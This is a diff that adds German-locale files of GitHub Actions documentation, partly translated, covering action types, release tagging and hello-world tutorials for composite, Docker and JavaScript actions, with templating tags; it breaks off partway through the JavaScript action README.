+Du kannst Docker-Container- und JavaScript-Aktionen erstellen. Aktionen benötigen eine Metadaten-Datei, in der die Eingaben, Ausgaben und der Haupteinstiegspunkt für die Aktion definiert werden. Der Name der Metadatendatei muss entweder `action.yml` oder `action.yaml` lauten. Weitere Informationen findest du unter [Metadatensyntax für {% data variables.product.prodname_actions %}](/articles/metadata-syntax-for-github-actions).
+
+| type | Betriebssystem |
+| ---- | ------------------- |
+| Docker-Container | Linux |
+| JavaScript | Linux, macOS, Windows |
+| Zusammengesetzte Aktionen | Linux, macOS, Windows |
+
+### Docker-Containeraktionen
+
+Docker-Container packen die Umgebung mit dem {% data variables.product.prodname_actions %}-Code. So entsteht eine konsistentere, zuverlässigere Arbeitseinheit, da der Aktionsbenutzer sich nicht um Tools oder Abhängigkeiten kümmern muss.
+
+Mit einem Docker-Container kannst du bestimmte Versionen eines Betriebssystems sowie bestimmte Abhängigkeiten, Tools und Code verwenden. Bei Aktionen, die in einer bestimmten Umgebungs-Konfiguration laufen müssen, ist Docker eine ideale Option, da du das Betriebssystem und die Tools anpassen kannst. Wegen der Latenz für das Erstellen und Abrufen des Containers sind Docker-Container-Aktionen langsamer als JavaScript-Aktionen.
+
+Docker Container-Aktionen können nur auf Runnern mit einem Linux-Betriebssystem ausgeführt werden. {% data reusables.actions.self-hosted-runner-reqs-docker %}
+
+### JavaScript-Aktionen
+
+JavaScript-Aktionen können direkt auf einem Runner-Rechner laufen und den Aktions-Code von der Umgebung trennen, in der der Code läuft. Eine JavaScript-Aktion enthält einfacheren Aktionscode und läuft schneller als eine Docker-Container-Aktion.
+
+{% data reusables.actions.pure-javascript %}
+
+Wenn du ein Node.js Projekt entwickelst, bietet das {% data variables.product.prodname_actions %} Toolkit Pakete, die du in deinem Projekt verwenden kannst, um die Entwicklung zu beschleunigen. Weitere Informationen findest du im Repository für [Aktionen/Toolkits](https://github.com/actions/toolkit).
+
+### Zusammengesetzte Aktionen
+
+Mit einer _zusammengesetzten_ Aktion kannst du mehrere Workflowschritte in einer Aktion kombinieren. Du kannst diese Funktion zum Beispiel nutzen, um mehrere Ausführungsbefehle in einer Aktion zu bündeln und dann einen Workflow einzurichten, der die gebündelten Befehle in einem einzigen Schritt mit dieser Aktion ausführt. Ein Beispiel findest du unter [Erstellen einer zusammengesetzten Aktion](/actions/creating-actions/creating-a-composite-action).
+
+## Ort für eine Aktion auswählen
+
+Wenn du eine Aktion entwickelst, die von anderen Personen genutzt werden soll, empfehlen wir, die Aktion in ihrem eigenen Repository zu belassen, also nicht mit anderem Anwendungscode zu einem Bundle zusammenzufassen. Damit kannst du die Aktion wie jede andere Software versionieren, nachverfolgen und veröffentlichen.
+
+{% ifversion fpt or ghec %} Wenn du eine Aktion in einem eigenen Repository speicherst, ist es für die {% data variables.product.prodname_dotcom %}-Community einfacher, die Aktion zu finden. Außerdem grenzt dies den Umfang der Codebasis für Entwickler ein, die Issues beheben und die Aktion erweitern möchten, und entkoppelt die Versionsverwaltung der Aktion von der Versionsverwaltung des übrigen Anwendungscodes.
+{% endif %}
+
+{% data reusables.actions.internal-actions-summary %}
+
+{% ifversion fpt or ghec %}Wenn du eine Aktion erstellst, die du nicht für andere verfügbar machen möchtest, kannst du {% else %} Du kannst {% endif %}die Dateien der Aktion an einem beliebigen Speicherort in deinem Repository speichern. Wenn du planst, Aktions-, Workflow- und Anwendungscode in einem einzigen Repository zu kombinieren, empfehlen wir, Aktionen im Verzeichnis `.github` zu speichern. Beispiel: `.github/actions/action-a` und `.github/actions/action-b`.
+
+## Kompatibilität mit {% data variables.product.prodname_ghe_server %}
+
+Um sicherzustellen, dass deine Aktion mit {% data variables.product.prodname_ghe_server %} kompatibel ist, solltest du darauf achten, dass du keine hartcodierten Verweise auf {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API-URLs verwendest. Du solltest stattdessen Umgebungsvariablen verwenden, um auf die {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %}-API zu verweisen:
+
+- Verwende für die REST-API die Umgebungsvariable `GITHUB_API_URL`.
+- Verwende für GraphQL die Umgebungsvariable `GITHUB_GRAPHQL_URL`.
+
+Weitere Informationen findest du unter [Standardumgebungsvariablen](/actions/configuring-and-managing-workflows/using-environment-variables#default-environment-variables).
+
+## Using release management for actions (Verwenden der Releaseverwaltung für Aktionen)
+
+In diesem Abschnitt erfährst du, wie du mithilfe der Releaseverwaltung Updates auf planbare Weise an deine Aktionen verteilen kannst.
+
+### Bewährte Methoden für die Releaseverwaltung
+
+Wenn du eine Aktion entwickelst, die auch von anderen genutzt werden soll, empfehlen wir dir, die Verteilung von Updates mithilfe der Releaseverwaltung zu steuern. Die Benutzer*innen können erwarten, dass die Patchversion einer Aktion die notwendigen kritischen Fixes und Sicherheitspatches enthält und dennoch weiterhin mit ihren vorhandenen Workflows kompatibel ist. Du solltest die Veröffentlichung einer neuen Hauptversion in Betracht ziehen, wenn sich deine Änderungen auf die Kompatibilität auswirken.
+
+Bei diesem Releaseverwaltungsansatz sollten Benutzer nicht auf den <code>Master</code> Zweig einer Aktion verweisen, da dieser wahrscheinlich den neuesten Code enthält und daher möglicherweise instabil ist. Stattdessen kannst du deinen Benutzern empfehlen, bei Verwendung deiner Aktion eine Hauptversion anzugeben und nur dann auf eine spezifischere Version zu verweisen, wenn sie auf Probleme stoßen.
+
+Um eine bestimmte Version einer Aktion zu verwenden, kannst du deinen {% data variables.product.prodname_actions %}-Workflow für ein Tag, den SHA eines Commits oder einen Branch für ein Release konfigurieren.
+
+### Verwenden von Tags für die Releaseverwaltung
+
+Es wird empfohlen, Tags für die Releaseverwaltung von Aktionen zu verwenden. Bei diesem Ansatz können deine Benutzer leicht zwischen Haupt- und Nebenversionen unterscheiden:
+
+- Erstelle und überprüfe ein Release in einem Releasebranch (z. B. `release/v1` ), bevor du das Versionstag (z. B. `v1.0.2`) erstellst.
+- Erstelle ein Release mittels semantischer Versionierung. Weitere Informationen findest du unter [Erstellen von Releases](/articles/creating-releases).
+- Verschiebe das Hauptversionstag (z. B. `v1`, `v2`) so, dass es auf die Git-Referenz der aktuellen Version zeigt. Weitere Informationen findest du unter [Git-Grundlagen – Tagging](https://git-scm.com/book/en/v2/Git-Basics-Tagging).
+- Führe ein neues Hauptversionstag (`v2`) für Änderungen ein, die vorhandene Workflows unterbrechen. Eine störende Änderung liegt beispielsweise vor, wenn die Eingabe einer Aktion geändert wird.
+- Hauptversionen können zunächst mit einem `beta`-Tag veröffentlicht werden, um ihren Status anzugeben, z. B. `v2-beta`. Das `-beta`-Tag kann dann später wieder entfernt werden.
+
+Dieses Beispiel zeigt, wie ein Benutzer auf ein Tag für ein Hauptrelease verweisen kann:
+
+```yaml
+steps:
+    - uses: actions/javascript-action@v1
+```
+
+Dieses Beispiel zeigt, wie ein Benutzer auf ein Tag für ein bestimmtes Patchrelease verweisen kann:
+
+```yaml
+steps:
+    - uses: actions/javascript-action@v1.0.1
+```
+
+### Verwenden von Branches für die Releaseverwaltung
+
+Wenn du lieber Branchnamen für die Releaseverwaltung verwendest, zeigt dir dieses Beispiel, wie du auf einen benannten Branch verweisen kannst:
+
+```yaml
+steps:
+    - uses: actions/javascript-action@v1-beta
+```
+
+### Verwenden des SHA eines Commits für die Releaseverwaltung
+
+Jeder Git-Commit erhält einen berechneten SHA-Wert, der eindeutig und unveränderlich ist. Die Benutzer deiner Aktion ziehen es vielleicht vor, sich auf den SHA-Wert eines Commits zu verlassen, da dieser Ansatz zuverlässiger ist als das Angeben eines Tags, das gelöscht oder verschoben werden könnte. Das bedeutet jedoch, dass die Benutzer keine weiteren Updates erhalten, die für die Aktion vorgenommen werden. Du musst den vollständigen SHA-Wert eines Commits verwenden, keinen abgekürzten Wert.
+
+```yaml
+steps:
+    - uses: actions/javascript-action@172239021f7ba04fe7327647b213799853a9eb89
+```
+
+## Eine README-Datei für die Aktion erstellen
+
+Wenn du deine Aktion öffentlich bereitstellen möchten, empfehlen wir, eine README-Datei zu erstellen, damit andere Benutzer verstehen, wie die Aktion zu verwenden ist. Du kannst diese Informationen in deine `README.md` aufnehmen:
+
+- Eine ausführliche Beschreibung, was die Aktion bewirkt
+- Erforderliche Eingabe- und Ausgabe-Argumente
+- Optionale Eingabe- und Ausgabe-Argumente
+- Geheimnisse, die in der Aktion verwendet werden
+- Umgebungsvariablen, die in der Aktion verwendet werden
+- Ein Beispiel für die Verwendung der Aktion in einem Workflow
+
+## Unterschiede zwischen {% data variables.product.prodname_actions %} und {% data variables.product.prodname_github_apps %}
+
+{% data variables.product.prodname_marketplace %} bietet Tools, um deinen Workflow zu verbessern. Wenn du die Unterschiede und die Vorteile der einzelnen Tools verstehst, kannst du das beste Tool für deinen Auftrag auswählen. Weitere Informationen zum Erstellen von Apps findest du unter [Informationen zu Apps](/apps/about-apps/).
+
+### Stärken von GitHub Aktionen und GitHub Apps
+
+Sowohl {% data variables.product.prodname_actions %} als auch {% data variables.product.prodname_github_apps %} bieten Möglichkeiten zur Entwicklung von Automatisierungs- und Workflowtools, aber durch ihre jeweiligen Stärken sind sie für unterschiedliche Zwecke von Nutzen.
+
+{% data variables.product.prodname_github_apps %}:
+* Laufen dauerhaft und können schnell auf Ereignisse reagieren.
+* Funktionieren hervorragend, wenn persistente Daten benötigt werden.
+* Funktionieren am besten mit API-Anforderungen, die nicht zeitaufwändig sind.
+* Laufen auf deinem Server oder auf deiner Rechner-Infrastruktur.
+
+{% data variables.product.prodname_actions %}:
+* Bieten Automatisierung für eine kontinuierliche Integration und kontinuierliche Bereitstellung.
+* Können direkt auf Runner-Maschinen oder in Docker-Containern laufen.
+* Können auch Zugriff auf einen Klon deines Repositorys einschließen und dadurch Bereitstellungs- und Veröffentlichungstools, Codeformatierern und Befehlszeilentools den Zugriff auf deinen Code erlauben.
+* Erfordern weder, dass du Code noch eine App bereitstellst.
+* Du benötigst eine einfache Schnittstelle zum Erstellen und Verwenden von Geheimnissen. Dadurch können die Aktionen mit Diensten von Drittanbietern interagieren, ohne die Anmelde-Informationen des Aktions-Benutzers speichern zu müssen.
+
+## Weiterführende Themen
+
+- [Entwicklungstools für {% data variables.product.prodname_actions %}](/articles/development-tools-for-github-actions)
diff --git a/translations/de-DE/content/actions/creating-actions/creating-a-composite-action.md b/translations/de-DE/content/actions/creating-actions/creating-a-composite-action.md
new file mode 100644
index 0000000000..382e81006b
--- /dev/null
+++ b/translations/de-DE/content/actions/creating-actions/creating-a-composite-action.md
@@ -0,0 +1,142 @@
+---
+title: Creating a composite action
+shortTitle: Create a composite action
+intro: 'In this guide, you''ll learn how to build a composite action.'
+redirect_from:
+  - /actions/creating-actions/creating-a-composite-run-steps-action
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Action development
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+In this guide, you'll learn about the basic components needed to create and use a packaged composite action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" and then "Goodbye",  or if you provide a custom name, it prints "Hello [who-to-greet]" and then "Goodbye". The action also maps a random number to the `random-number` output variable, and runs a script named `goodbye.sh`.
+
+Once you complete this project, you should understand how to build your own composite action and test it in a workflow.
+
+{% data reusables.actions.context-injection-warning %}
+
+## Prerequisites
+
+Before you begin, you'll create a repository on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}.
+
+1. Create a new public repository on {% data variables.location.product_location %}. You can choose any repository name, or use the following `hello-world-composite-action` example. You can add these files after your project has been pushed to {% data variables.product.product_name %}. For more information, see "[Create a new repository](/articles/creating-a-new-repository)."
+
+1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+
+1. From your terminal, change directories into your new repository.
+
+  ```shell
+  cd hello-world-composite-action
+  ```
+
+2. In the `hello-world-composite-action` repository, create a new file called `goodbye.sh`, and add the following example code:
+
+  ```bash
+  echo "Goodbye"
+  ```
+
+3. From your terminal, make `goodbye.sh` executable.
+
+  ```shell
+  chmod +x goodbye.sh
+  ```
+
+1. From your terminal, check in your `goodbye.sh` file.
+  ```shell
+  git add goodbye.sh
+  git commit -m "Add goodbye script"
+  git push
+  ```
+
+## Creating an action metadata file
+
+1. In the `hello-world-composite-action` repository, create a new file called `action.yml` and add the following example code. For more information about this syntax, see "[`runs` for a composite actions](/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-composite-actions)".
+
+    {% raw %}
+    **action.yml**
+    ```yaml
+    name: 'Hello World'
+    description: 'Greet someone'
+    inputs:
+      who-to-greet:  # id of input
+        description: 'Who to greet'
+        required: true
+        default: 'World'
+    outputs:
+      random-number:
+        description: "Random number"
+        value: ${{ steps.random-number-generator.outputs.random-number }}
+    runs:
+      using: "composite"
+      steps:
+        - run: echo Hello ${{ inputs.who-to-greet }}.
+          shell: bash
+        - id: random-number-generator{% endraw %}
+{%- ifversion actions-save-state-set-output-envs %}
+          run: echo "random-number=$(echo $RANDOM)" >> $GITHUB_OUTPUT
+{%- else %}
+          run: echo "::set-output name=random-number::$(echo $RANDOM)"
+{%- endif %}{% raw %}
+          shell: bash
+        - run: echo "${{ github.action_path }}" >> $GITHUB_PATH
+          shell: bash
+        - run: goodbye.sh
+          shell: bash
+    ```
+    {% endraw %}
+  This file defines the `who-to-greet` input, maps the random generated number to the `random-number` output variable, and runs the `goodbye.sh` script. It also tells the runner how to execute the composite action.
+
+  For more information about managing outputs, see "[`outputs` for a composite action](/actions/creating-actions/metadata-syntax-for-github-actions#outputs-for-composite-actions)".
+
+  For more information about how to use `github.action_path`, see "[`github context`](/actions/reference/context-and-expression-syntax-for-github-actions#github-context)".
+
+1. From your terminal, check in your `action.yml` file.
+
+  ```shell
+  git add action.yml
+  git commit -m "Add action"
+  git push
+  ```
+
+1. From your terminal, add a tag. This example uses a tag called `v1`. For more information, see "[About actions](/actions/creating-actions/about-actions#using-release-management-for-actions)."
+
+  ```shell
+  git tag -a -m "Description of this release" v1
+  git push --follow-tags
+  ```
+
+## Testing out your action in a workflow
+
+The following workflow code uses the completed hello world action that you made in "[Creating an action metadata file](/actions/creating-actions/creating-a-composite-action#creating-an-action-metadata-file)".
+
+Copy the workflow code into a `.github/workflows/main.yml` file in another repository, but replace `actions/hello-world-composite-action@v1` with the repository and tag you created. You can also replace the `who-to-greet` input with your name.
+
+**.github/workflows/main.yml**
+```yaml
+on: [push]
+
+jobs:
+  hello_world_job:
+    runs-on: ubuntu-latest
+    name: A job to say hello
+    steps:
+      - uses: {% data reusables.actions.action-checkout %}
+      - id: foo
+        uses: actions/hello-world-composite-action@v1
+        with:
+          who-to-greet: 'Mona the Octocat'
+      - run: echo random-number {% raw %}${{ steps.foo.outputs.random-number }}{% endraw %}
+        shell: bash
+```
+
+From your repository, click the **Actions** tab, and select the latest workflow run. The output should include: "Hello Mona the Octocat", the result of the "Goodbye" script, and a random number.
diff --git a/translations/de-DE/content/actions/creating-actions/creating-a-docker-container-action.md b/translations/de-DE/content/actions/creating-actions/creating-a-docker-container-action.md
new file mode 100644
index 0000000000..6ea8fbe52c
--- /dev/null
+++ b/translations/de-DE/content/actions/creating-actions/creating-a-docker-container-action.md
@@ -0,0 +1,252 @@
+---
+title: Creating a Docker container action
+shortTitle: Create a Docker container action
+intro: 'This guide shows you the minimal steps required to build a Docker container action. '
+redirect_from:
+  - /articles/creating-a-docker-container-action
+  - /github/automating-your-workflow-with-github-actions/creating-a-docker-container-action
+  - /actions/automating-your-workflow-with-github-actions/creating-a-docker-container-action
+  - /actions/building-actions/creating-a-docker-container-action
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Action development
+  - Docker
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+In this guide, you'll learn about the basic components needed to create and use a packaged Docker container action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name.
+
+Once you complete this project, you should understand how to build your own Docker container action and test it in a workflow.
+
+{% data reusables.actions.self-hosted-runner-reqs-docker %}
+
+{% data reusables.actions.context-injection-warning %}
+
+## Prerequisites
+
+You may find it helpful to have a basic understanding of {% data variables.product.prodname_actions %} environment variables and the Docker container filesystem:
+
+- "[Using environment variables](/actions/automating-your-workflow-with-github-actions/using-environment-variables)"
+{% ifversion ghae %}
+- "[Docker container filesystem](/actions/using-github-hosted-runners/about-ae-hosted-runners#docker-container-filesystem)."
+{% else %}
+- "[About {% data variables.product.prodname_dotcom %}-hosted runners](/actions/using-github-hosted-runners/about-github-hosted-runners#docker-container-filesystem)"
+{% endif %}
+
+Before you begin, you'll need to create a {% data variables.product.prodname_dotcom %} repository.
+
+1. Create a new repository on {% data variables.location.product_location %}. You can choose any repository name or use "hello-world-docker-action" like this example. For more information, see "[Create a new repository](/articles/creating-a-new-repository)."
+
+1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+
+1. From your terminal, change directories into your new repository.
+
+  ```shell{:copy}
+  cd hello-world-docker-action
+  ```
+
+## Creating a Dockerfile
+
+In your new `hello-world-docker-action` directory, create a new `Dockerfile` file. Make sure that your filename is capitalized correctly (use a capital `D` but not a capital `f`) if you're having issues. For more information, see "[Dockerfile support for {% data variables.product.prodname_actions %}](/actions/creating-actions/dockerfile-support-for-github-actions)."
+
+**Dockerfile**
+```Dockerfile{:copy}
+# Container image that runs your code
+FROM alpine:3.10
+
+# Copies your code file from your action repository to the filesystem path `/` of the container
+COPY entrypoint.sh /entrypoint.sh
+
+# Code file to execute when the docker container starts up (`entrypoint.sh`)
+ENTRYPOINT ["/entrypoint.sh"]
+```
+
+## Creating an action metadata file
+
+Create a new `action.yml` file in the `hello-world-docker-action` directory you created above. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)."
+
+{% raw %}
+**action.yml**
+```yaml{:copy}
+# action.yml
+name: 'Hello World'
+description: 'Greet someone and record the time'
+inputs:
+  who-to-greet:  # id of input
+    description: 'Who to greet'
+    required: true
+    default: 'World'
+outputs:
+  time: # id of output
+    description: 'The time we greeted you'
+runs:
+  using: 'docker'
+  image: 'Dockerfile'
+  args:
+    - ${{ inputs.who-to-greet }}
+```
+{% endraw %}
+
+This metadata defines one `who-to-greet`  input and one `time` output parameter. To pass inputs to the Docker container, you should declare the input using `inputs` and pass the input in the `args` keyword. Everything you include in `args` is passed to the container, but for better discoverability for users of your action, we recommended using inputs.
+
+{% data variables.product.prodname_dotcom %} will build an image from your `Dockerfile`, and run commands in a new container using this image.
+
+## Writing the action code
+
+You can choose any base Docker image and, therefore, any language for your action. The following shell script example uses the `who-to-greet` input variable to print "Hello [who-to-greet]" in the log file.
+
+Next, the script gets the current time and sets it as an output variable that actions running later in a job can use. In order for {% data variables.product.prodname_dotcom %} to recognize output variables, you must {% ifversion actions-save-state-set-output-envs %}write them to the `$GITHUB_OUTPUT` environment file: `echo "<output name>=<value>" >> $GITHUB_OUTPUT`{% else %}use a workflow command in a specific syntax: `echo "::set-output name=<output name>::<value>"`{% endif %}. For more information, see "[Workflow commands for {% data variables.product.prodname_actions %}](/actions/reference/workflow-commands-for-github-actions#setting-an-output-parameter)."
+
+1. Create a new `entrypoint.sh` file in the `hello-world-docker-action` directory.
+
+1. Add the following code to your `entrypoint.sh` file.
+
+  **entrypoint.sh**
+  ```shell{:copy}
+  #!/bin/sh -l
+
+  echo "Hello $1"
+  time=$(date)
+{%- ifversion actions-save-state-set-output-envs %}
+  echo "time=$time" >> $GITHUB_OUTPUT
+{%- else %}
+  echo "::set-output name=time::$time"
+{%- endif %}
+  ```
+  If `entrypoint.sh` executes without any errors, the action's status is set to `success`. You can also explicitly set exit codes in your action's code to provide an action's status. For more information, see "[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)."
+
+
+1. Make your `entrypoint.sh` file executable. Git provides a way to explicitly change the permission mode of a file so that it doesn’t get reset every time there is a clone/fork.
+
+  ```shell{:copy}
+  $ git update-index --chmod=+x entrypoint.sh
+  ```
+
+1. Optionally, to check the permission mode of the file in the git index, run the following command.
+
+  ```shell{:copy}
+  $ git ls-files --stage entrypoint.sh
+  ```
+
+   An output like `100755 e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 0       entrypoint.sh` means the file has the executable permission. In this example, `755` denotes the executable permission.
+
+## Creating a README
+
+To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action.
+
+In your `hello-world-docker-action` directory, create a `README.md` file that specifies the following information:
+
+- A detailed description of what the action does.
+- Required input and output arguments.
+- Optional input and output arguments.
+- Secrets the action uses.
+- Environment variables the action uses.
+- An example of how to use your action in a workflow.
+
+**README.md**
+```markdown{:copy}
+# Hello world docker action
+
+This action prints "Hello World" or "Hello" + the name of a person to greet to the log.
+
+## Inputs
+
+## `who-to-greet`
+
+**Required** The name of the person to greet. Default `"World"`.
+
+## Outputs
+
+## `time`
+
+The time we greeted you.
+
+## Example usage
+
+uses: actions/hello-world-docker-action@{% ifversion actions-save-state-set-output-envs %}v2{% else %}v1{% endif %}
+with:
+  who-to-greet: 'Mona the Octocat'
+```
+
+## Commit, tag, and push your action to {% data variables.product.product_name %}
+
+From your terminal, commit your `action.yml`, `entrypoint.sh`, `Dockerfile`, and `README.md` files.
+
+It's best practice to also add a version tag for releases of your action. For more information on versioning your action, see "[About actions](/actions/automating-your-workflow-with-github-actions/about-actions#using-release-management-for-actions)."
+
+```shell{:copy}
+git add action.yml entrypoint.sh Dockerfile README.md
+git commit -m "My first action is ready"
+git tag -a -m "My first action release" v1
+git push --follow-tags
+```
+
+## Testing out your action in a workflow
+
+Now you're ready to test your action out in a workflow. When an action is in a private repository, the action can only be used in workflows in the same repository. Public actions can be used by workflows in any repository.
+
+{% data reusables.actions.enterprise-marketplace-actions %}
+
+### Example using a public action
+
+The following workflow code uses the completed _hello world_ action in the public [`actions/hello-world-docker-action`](https://github.com/actions/hello-world-docker-action) repository. Copy the following workflow example code into a `.github/workflows/main.yml` file, but replace the `actions/hello-world-docker-action` with your repository and action name. You can also replace the `who-to-greet` input with your name. {% ifversion fpt or ghec %}Public actions can be used even if they're not published to {% data variables.product.prodname_marketplace %}. For more information, see "[Publishing an action](/actions/creating-actions/publishing-actions-in-github-marketplace#publishing-an-action)." {% endif %}
+
+**.github/workflows/main.yml**
+```yaml{:copy}
+on: [push]
+
+jobs:
+  hello_world_job:
+    runs-on: ubuntu-latest
+    name: A job to say hello
+    steps:
+      - name: Hello world action step
+        id: hello
+        uses: actions/hello-world-docker-action{% ifversion actions-save-state-set-output-envs %}v2{% else %}v1{% endif %}
+        with:
+          who-to-greet: 'Mona the Octocat'
+      # Use the output from the `hello` step
+      - name: Get the output time
+        run: echo "The time was {% raw %}${{ steps.hello.outputs.time }}"{% endraw %}
+```
+
+### Example using a private action
+
+Copy the following example workflow code into a `.github/workflows/main.yml` file in your action's repository. You can also replace the `who-to-greet` input with your name. {% ifversion fpt or ghec %}This private action can't be published to {% data variables.product.prodname_marketplace %}, and can only be used in this repository.{% endif %}
+
+**.github/workflows/main.yml**
+```yaml{:copy}
+on: [push]
+
+jobs:
+  hello_world_job:
+    runs-on: ubuntu-latest
+    name: A job to say hello
+    steps:
+      # To use this repository's private action,
+      # you must check out the repository
+      - name: Checkout
+        uses: {% data reusables.actions.action-checkout %}
+      - name: Hello world action step
+        uses: ./ # Uses an action in the root directory
+        id: hello
+        with:
+          who-to-greet: 'Mona the Octocat'
+      # Use the output from the `hello` step
+      - name: Get the output time
+        run: echo "The time was {% raw %}${{ steps.hello.outputs.time }}"{% endraw %}
+```
+
+From your repository, click the **Actions** tab, and select the latest workflow run. Under **Jobs** or in the visualization graph, click **A job to say hello**. You should see "Hello Mona the Octocat" or the name you used for the `who-to-greet` input and the timestamp printed in the log.
+
+![A screenshot of using your action in a workflow](/assets/images/help/repository/docker-action-workflow-run-updated.png)
+
diff --git a/translations/de-DE/content/actions/creating-actions/creating-a-javascript-action.md b/translations/de-DE/content/actions/creating-actions/creating-a-javascript-action.md
new file mode 100644
index 0000000000..5a1ea071a9
--- /dev/null
+++ b/translations/de-DE/content/actions/creating-actions/creating-a-javascript-action.md
@@ -0,0 +1,273 @@
+---
+title: Creating a JavaScript action
+shortTitle: Create a JavaScript action
+intro: 'In this guide, you''ll learn how to build a JavaScript action using the actions toolkit.'
+redirect_from:
+  - /articles/creating-a-javascript-action
+  - /github/automating-your-workflow-with-github-actions/creating-a-javascript-action
+  - /actions/automating-your-workflow-with-github-actions/creating-a-javascript-action
+  - /actions/building-actions/creating-a-javascript-action
+versions:
+  fpt: '*'
+  ghes: '*'
+  ghae: '*'
+  ghec: '*'
+type: tutorial
+topics:
+  - Action development
+  - JavaScript
+---
+
+{% data reusables.actions.enterprise-beta %}
+{% data reusables.actions.enterprise-github-hosted-runners %}
+
+## Introduction
+
+In this guide, you'll learn about the basic components needed to create and use a packaged JavaScript action. To focus this guide on the components needed to package the action, the functionality of the action's code is minimal. The action prints "Hello World" in the logs or "Hello [who-to-greet]" if you provide a custom name.
+
+This guide uses the {% data variables.product.prodname_actions %} Toolkit Node.js module to speed up development. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository.
+
+Once you complete this project, you should understand how to build your own JavaScript action and test it in a workflow.
+
+{% data reusables.actions.pure-javascript %}
+
+{% data reusables.actions.context-injection-warning %}
+
+## Prerequisites
+
+Before you begin, you'll need to download Node.js and create a public {% data variables.product.prodname_dotcom %} repository.
+
+1. Download and install Node.js {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}16.x{% else %}12.x{% endif %}, which includes npm.
+
+  {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}https://nodejs.org/en/download/{% else %}https://nodejs.org/en/download/releases/{% endif %}
+
+1. Create a new public repository on {% data variables.location.product_location %} and call it "hello-world-javascript-action". For more information, see "[Create a new repository](/articles/creating-a-new-repository)."
+
+1. Clone your repository to your computer. For more information, see "[Cloning a repository](/articles/cloning-a-repository)."
+
+1. From your terminal, change directories into your new repository.
+
+  ```shell{:copy}
+  cd hello-world-javascript-action
+  ```
+
+1. From your terminal, initialize the directory with npm to generate a `package.json` file.
+
+  ```shell{:copy}
+  npm init -y
+  ```
+
+## Creating an action metadata file
+
+Create a new file named `action.yml` in the `hello-world-javascript-action` directory with the following example code. For more information, see "[Metadata syntax for {% data variables.product.prodname_actions %}](/actions/creating-actions/metadata-syntax-for-github-actions)."
+
+```yaml{:copy}
+name: 'Hello World'
+description: 'Greet someone and record the time'
+inputs:
+  who-to-greet:  # id of input
+    description: 'Who to greet'
+    required: true
+    default: 'World'
+outputs:
+  time: # id of output
+    description: 'The time we greeted you'
+runs:
+  using: {% ifversion fpt or ghes > 3.3 or ghae > 3.3 or ghec %}'node16'{% else %}'node12'{% endif %}
+  main: 'index.js'
+```
+
+This file defines the `who-to-greet` input and `time` output. It also tells the action runner how to start running this JavaScript action.
+
+## Adding actions toolkit packages
+
+The actions toolkit is a collection of Node.js packages that allow you to quickly build JavaScript actions with more consistency.
+
+The toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package provides an interface to the workflow commands, input and output variables, exit statuses, and debug messages.
+
+The toolkit also offers a [`@actions/github`](https://github.com/actions/toolkit/tree/main/packages/github) package that returns an authenticated Octokit REST client and access to GitHub Actions contexts.
+
+The toolkit offers more than the `core` and `github` packages. For more information, see the [actions/toolkit](https://github.com/actions/toolkit) repository.
+
+At your terminal, install the actions toolkit `core` and `github` packages.
+
+```shell{:copy}
+npm install @actions/core
+npm install @actions/github
+```
+
+Now you should see a `node_modules` directory with the modules you just installed and a `package-lock.json` file with the installed module dependencies and the versions of each installed module.
+
+## Writing the action code
+
+This action uses the toolkit to get the `who-to-greet` input variable required in the action's metadata file and prints "Hello [who-to-greet]" in a debug message in the log. Next, the script gets the current time and sets it as an output variable that actions running later in a job can use.
+
+GitHub Actions provide context information about the webhook event, Git refs, workflow, action, and the person who triggered the workflow. To access the context information, you can use the `github` package. The action you'll write will print the webhook event payload to the log.
+
+Add a new file called `index.js`, with the following code.
+
+{% raw %}
+```javascript{:copy}
+const core = require('@actions/core');
+const github = require('@actions/github');
+
+try {
+  // `who-to-greet` input defined in action metadata file
+  const nameToGreet = core.getInput('who-to-greet');
+  console.log(`Hello ${nameToGreet}!`);
+  const time = (new Date()).toTimeString();
+  core.setOutput("time", time);
+  // Get the JSON webhook payload for the event that triggered the workflow
+  const payload = JSON.stringify(github.context.payload, undefined, 2)
+  console.log(`The event payload: ${payload}`);
+} catch (error) {
+  core.setFailed(error.message);
+}
+```
+{% endraw %}
+
+If an error is thrown in the above `index.js` example, `core.setFailed(error.message);` uses the actions toolkit [`@actions/core`](https://github.com/actions/toolkit/tree/main/packages/core) package to log a message and set a failing exit code. For more information, see "[Setting exit codes for actions](/actions/creating-actions/setting-exit-codes-for-actions)."
+
+## Creating a README
+
+To let people know how to use your action, you can create a README file. A README is most helpful when you plan to share your action publicly, but is also a great way to remind you or your team how to use the action.
+
+In your `hello-world-javascript-action` directory, create a `README.md` file that specifies the following information:
+
+- A detailed description of what the action does.
+- Required input and output arguments.
+- Optional input and output arguments.
+- Secrets the action uses.
+- Environment variables the action uses.
+- An example of how to use your action in a workflow.
+
+````markdown{:copy}
+# Hello world javascript action
+
+This action prints "Hello World" or "Hello" + the name of a person to greet to the log.
+
